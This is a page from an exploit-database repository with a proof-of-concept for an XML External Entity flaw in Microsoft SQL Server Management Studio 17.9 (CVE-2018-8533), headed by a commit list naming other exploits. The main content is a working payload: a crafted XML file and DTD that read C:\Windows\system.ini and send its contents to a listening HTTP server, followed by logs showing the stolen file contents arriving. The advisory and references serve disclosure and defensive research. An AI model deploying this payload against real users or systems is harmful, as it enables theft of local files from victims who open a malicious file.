731dd0f423
22 changes to exploits/shellcodes Snes9K 0.0.9z - Buffer Overflow (SEH) NoMachine < 5.3.27 - Remote Code Execution MaxOn ERP Software 8.x-9.x - 'nomor' SQL Injection FLIR Brickstream 3D+ - RTSP Stream Disclosure FLIR AX8 Thermal Camera 1.32.16 - RTSP Stream Disclosure CAMALEON CMS 2.4 - Cross-Site Scripting Academic Timetable Final Build 7.0a-7.0b - 'id' SQL Injection FLIR AX8 Thermal Camera 1.32.16 - Arbitrary File Disclosure FLIR Brickstream 3D+ 2.1.742.1842 - Config File Disclosure Academic Timetable Final Build 7.0b - Cross-Site Request Forgery (Add Admin) AlchemyCMS 4.1 - Cross-Site Scripting FLIR AX8 Thermal Camera 1.32.16 - Remote Code Execution College Notes Management System 1.0 - 'user' SQL Injection Advanced HRM 1.6 - Remote Code Execution Centos Web Panel 0.9.8.480 - Multiple Vulnerabilities Academic Timetable Final Build 7.0 - Information Disclosure KORA 2.7.0 - 'cid' SQL Injection
48 lines
No EOL
2.6 KiB
Text
48 lines
No EOL
2.6 KiB
Text
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - XML External Entity Injection
|
|
# Date: 2018-10-10
|
|
# Author: John Page (aka hyp3rlinx)
|
|
# Website: hyp3rlinx.altervista.org
|
|
# Venodor: www.microsoft.com
|
|
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)
|
|
# CVE: CVE-2018-8533
|
|
# References:
|
|
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-REGSRVR-FILES-XML-INJECTION-CVE-2018-8533.txt
|
|
# https://www.zerodayinitiative.com/advisories/ZDI-18-1133/
|
|
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8533
|
|
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8533)
|
|
|
|
# Description
|
|
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable
|
|
# installations of Microsoft SQL Server Management Studio. User interaction is required to
|
|
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
|
|
|
|
# The specific flaw exists within the handling of REGSRVR files. Due to the improper
|
|
# restriction of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the
|
|
# XML parser to access the URI and embed the contents back into the XML document for further processing.
|
|
# An attacker can leverage this vulnerability to disclose information in the context of the current process.
|
|
|
|
# Exploit/POC
|
|
|
|
# 1) python -m SimpleHTTPServer
|
|
|
|
# 2) "POC.xml"
|
|
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE injectme [
|
|
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
|
|
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
|
|
%dtd;]>
|
|
<pwn>&send;</pwn>
|
|
|
|
# 3) "payload.dtd"
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
|
|
%all;
|
|
|
|
# Result:
|
|
|
|
Serving HTTP on 0.0.0.0 port 8000 ...
|
|
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
|
|
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
|
|
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 - |